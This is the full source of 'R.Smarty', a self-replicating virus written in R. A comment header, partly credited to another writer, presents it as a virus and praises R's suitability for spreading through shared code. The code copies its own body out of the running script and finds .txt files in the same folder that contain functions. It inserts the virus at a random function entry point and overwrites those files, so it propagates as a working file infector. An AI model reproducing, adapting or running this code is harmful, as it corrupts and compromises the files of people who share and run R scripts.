# Author: Genetix # Twitter: @kelsey_coe_ # Virus: Basic (EPO?) but prepending outside of functions because I want to live under my terms not my victims. # Name: R.Smarty # I will NEVER look back at the language!!! # The Following Text was written by SPTH (thx) I'm too lazy^^ # R (the name comes from its creators Ross Ihaka and Robert Gentleman) is an # open-source language mainly used for statistical/numerical computing. It is # widely spread among commercial and scientific institutes, similar and as popular as # MATLAB (a language with a considerable overlap in potential applications). # R's programming paradigm/style is, among other, array-style and functional # (but it can be used in the usual procedural or object-oriented style as well), # which makes many of its constructions "unusual", and hard for people who have # not experienced this paradigm before. # The potential speed of spreading of an R-virus is high because R-files are # often shared within big cooperations, and many (internal) R-codes become # standard-codes that are heavily used among companies and institutes. Moreover, # users are not aware of the potential dangerous behaviour of shared R-files, in # contrast to Office files or even executeables. # Due to R's access to numerical/statistical functions, it might be relativly # simple to write very strong encrypted or polymorphic codes. #begin vbody <- list() read.StartStop <- 0 index.count <- 0 #--get name of running script vscript <- sub(".*=", "", commandArgs()[4]) #--------------------------- #--set directory to where we are being executed setwd(dirname(vscript)) #---------------------------------------------- #--read self vcode <- scan(vscript, what="", sep="\n") #----------- #--get virus body from source for (i in vcode) { if(grepl("^#begin", i)) read.StartStop <- 1 if(grepl("^#endre", i)) read.StartStop <- 0 if (read.StartStop != 0) { index.count <- index.count+1 vbody[index.count] <- (i) } } vbody[index.count+1] <- "#endre" #---------------------------- #--find and infect files--- for(souls in Sys.glob(file.path(".", "*.txt"))) { #setup some variables soul <- souls line.count <- 0 entry.index <- 0 has.entry <- 0 arr.index <- 0 host.infected <- 0 entrypoints <- list() newcode <- list() #read the victim file hcode <- scan(soul, what="", sep="\n") #check if it's infectable (R likes to quit on small errors) that other languages are willing to ignore. for (a in hcode) { if(grepl("R.Smarty", a)) host.infected = 1 if(grepl("function", a)) has.entry = 1 } if(host.infected != 1 && has.entry ==1) { #--find entrypoint index for (b in hcode) { line.count <- line.count + 1 if(grepl("function", b)) { arr.index <- arr.index + 1 entry.index <- line.count entrypoints[arr.index] <- entry.index } } line.count <- 0 #get a random entry point rndIndex <- sample(1:(arr.index), 1) rndEntry = entrypoints[rndIndex] #create new code for (c in hcode) { line.count <- line.count + 1 if(line.count == rndEntry) { for(i in vbody) { newcode[line.count] <- i line.count <- line.count + 1 } } newcode[line.count] <- c } #--Write virus to file write(paste(newcode,collapse="\n"), file = soul, append = FALSE, sep = " ") } } #endre